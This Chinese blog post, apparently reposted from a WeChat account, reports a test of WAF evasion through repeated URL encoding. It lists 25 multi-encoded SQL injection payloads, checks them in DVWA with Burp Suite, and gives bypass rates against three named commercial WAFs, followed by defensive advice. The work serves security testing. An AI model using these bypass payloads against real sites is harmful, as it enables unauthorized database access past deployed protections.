编码绕过WAF

admin 2024年10月7日22:10:15评论2 views字数 2721阅读9分4秒阅读模式

测试的环境

后端环境

编码绕过WAF

WAF环境

  1. 阿里云WAF[1]
  2. 360磐云WAF[2]
  3. 安恒明御WAF[3]

测试的思路

  1. 先在后端环境(DVWA)验证payload能否成功执行,不能为了绕过而绕过,选出25个真实有效的payload;
  2. 再用payload测试WAF,得出WAF对payload的拦截率。

1、制作并验证payload

本次用于编码绕过WAF的payload是 1' and 1=1#

制作步骤一:将 and 换成 && 可以得到3个payload:

1. 1' and 1=1#
2. 1' && 1=1#
3. 1'&&1=1#

制作步骤二:将空格分别编码成 +%20 可以得到5个payload:

1. 1'+and+1=1#
2. 1'%20and%201=1#
3. 1'+&&+1=1#
4. 1'%20&&%201=1#
5. 1'&&1=1#

制作步骤三:将每个payload重复进行5次编码,最终得到25个payload:

1. 1' and 1=1#
1. 1'+and+1=1#(空格 -> 加号 -> %2B -> %252B -> ...)
1. 1%27+and+1%3D1%23
2. 1%2527%2Band%2B1%253D1%2523
3. 1%252527%252Band%252B1%25253D1%252523
4. 1%25252527%25252Band%25252B1%2525253D1%25252523
5. 1%2525252527%2525252Band%2525252B1%252525253D1%2525252523
2. 1'%20and%201=1#(空格 -> %20 -> %2520 -> %252520 -> ...)
1. 1%27%20and%201%3D1%23
2. 1%2527%2520and%25201%253D1%2523
3. 1%252527%252520and%2525201%25253D1%252523
4. 1%25252527%25252520and%252525201%2525253D1%25252523
5. 1%2525252527%2525252520and%25252525201%252525253D1%2525252523
2. 1' && 1=1#
1. 1'+&&+1=1#(空格 -> 加号 -> %2B -> %252B -> ...)
1. 1%27+%26%26+1%3D1%23
2. 1%2527%2B%2526%2526%2B1%253D1%2523
3. 1%252527%252B%252526%252526%252B1%25253D1%252523
4. 1%25252527%25252B%25252526%25252526%25252B1%2525253D1%25252523
5. 1%2525252527%2525252B%2525252526%2525252526%2525252B1%252525253D1%2525252523
2. 1'%20&&%201=1#(空格 -> %20 -> %2520 -> %252520 -> ...)
1. 1%27%20%26%26%201%3D1%23
2. 1%2527%2520%2526%2526%25201%253D1%2523
3. 1%252527%252520%252526%252526%2525201%25253D1%252523
4. 1%25252527%25252520%25252526%25252526%252525201%2525253D1%25252523
5. 1%2525252527%2525252520%2525252526%2525252526%25252525201%252525253D1%2525252523
3. 1'&&1=1#
1. 1%27%26%261%3D1%23
2. 1%2527%2526%25261%253D1%2523
3. 1%252527%252526%2525261%25253D1%252523
4. 1%25252527%25252526%252525261%2525253D1%25252523
5. 1%2525252527%2525252526%25252525261%252525253D1%2525252523

验证方法一:使用BurpSuite的Intruder装载payload在没有WAF防护的后端环境(DVWA)中验证payload能否成功执行:

编码绕过WAF

取消payload编码以避免因为BurpSuite对payload进行编码而导致payload改变:

编码绕过WAF

提取响应体特征,此处提取的是payload成功执行时的特征,存在特征说明payload有效:

编码绕过WAF

验证结果是,25个payload全部有效,都可以成功执行:

编码绕过WAF

编码绕过WAF

验证方法二:在MySQL中执行payload,也都成功执行,也说明了payload真实有效:

编码绕过WAF

2、测试WAF

操作和上面一样,需要取消payload编码、提取响应体特征。区别在于此处提取的是payload被WAF拦截的特征。

A WAF的测试结果是:拦截6个,放行19个,拦截率24%。

编码绕过WAF

再次测试时,拦截率100%,说明是IP地址被拉黑了,而非WAF拦截:

编码绕过WAF

B WAF的测试结果是:拦截1个,放行24个,拦截率4%。再次测试时,结果一致:

编码绕过WAF

C WAF的测试结果是:拦截1个,放行24个,拦截率4%。再次测试时,结果一致:

编码绕过WAF

一些说明

  1. 本次测试的WAF所防护的站点是随机选取的,并未统一防护配置。因此本次测试结论,仅用于验证编码绕过WAF的可能性,无法佐证WAF之间的防护能力高低。
  2. 本次测试的payload样本制作逻辑并不严谨,不具备广泛的代表性,仅用于验证编码场景在某一类SQLi攻击中绕过WAF的可能性,无法代表WAF真实的防护效果。

安全建议

对甲方

  1. SOAR在自动化攻击面前还是慢了,建议同时运营好WAF的高可信规则,在SOAR全面封禁之前,授予WAF自动临时封禁告警中攻击源IP地址的能力。
  2. WAF是纵深防御中靠外的一环,实施成本低防护效果有限。靠内的话建议配合RASP,虽然实施成本高但是防护效果好。

对乙方:

  1. 伴随攻击者的不断成长,WAF规则引擎的短板已经显现,WAF未来靠的是语义引擎和智能引擎吗?
  2. 伴随绕过手法的增加,堆设备解决不了客户的所有安全问题,还是得捆绑运营服务把产品用起来。

参考资料

[1]

阿里云WAF: https://www.aliyun.com/product/waf

[2]

360磐云WAF: https://www.360panyun.com/

[3]

安恒明御WAF: https://www.dbappsecurity.com.cn/product/cloud150.html

原文始发于微信公众号(OneMoreThink):编码绕过WAF

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日22:10:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   编码绕过WAFhttp://cn-sec.com/archives/1978208.html

发表评论

匿名网友 填写信息